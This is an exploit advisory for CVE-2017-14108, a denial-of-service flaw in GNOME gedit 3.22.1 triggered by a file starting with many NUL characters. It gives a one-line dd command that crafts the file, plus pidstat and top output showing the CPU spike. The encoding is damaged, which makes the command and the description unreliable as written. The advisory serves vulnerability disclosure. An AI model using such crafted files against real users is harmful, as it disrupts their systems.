libgedit.a 3.22.1 Denial Of Service
Posted on 04 September 2017
whom it may concern, ################ #Title: libgedit.a mishandeling NUL blocks in gedit(GNOME text editor) | Denial of service #CVE: CVE-2017-14108 #CWE: CWE-400 #Exploit Author: Hosein Askari #Vendor HomePage: https://gnome.org , https://wiki.gnome.org/Apps/Gedit #Version : All Version (3.22.1 and older version) #Tested on: Ubuntu 16.04 (Linux 4.4.0-93-generic) #Date: 02-09-2017 #Category: Application #Author Mail : hosein.askari@aol.com #Description: libgedit.a in GNOME gedit through 3.22.1 allows remote attackers to cause a denial of service (CPU consumption) for a longtime via a file(less than 100KB) that begins with many ' ' characters. ############### #sudo echo -ne 'x68x6fx73x65x69x6ex20x61x73x6bx61x72x69' | dd conv=notrunc bs=1000 seek=100 of=craft.txt ################# POC: constantine@constantine:~$ pidstat -h -r -u -v -p 3107 Linux 4.4.0-93-generic (constantine) A A A U+-U*/UdegU1/UdegU+- A A A _i686_A A A (2 CPU) #A A A A A TimeA A UIDA A A A A A PIDA A A %usr %systemA %guestA A %waitA A A %CPUA A CPUA minflt/sA majflt/sA A A A VSZA A A A RSSA A %MEM threadsA A fd-nrA Command A 1504280041A 1000A A A A A 3107A A 16.43A A A 0.01A A A 0.00A A A 0.03A A 106.44A A A A 1A A A A 15.53A A A A A 0.00A 121296A A 38804A A 0.95A A A A A A 4A A A A A 18A gedit constantine@constantine:~$ top A PID USERA A A A A PRA NIA A A VIRTA A A RESA A A SHR SA %CPU %MEMA A A A TIME+ COMMANDA A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A 3107 constan+A 20A A 0A 128884A 38492A 28320 R 106.7A 0.9A A 0:17.76 gedit ######################### Best Regards Hosein Askari Contact : hosein.askari@aol.com
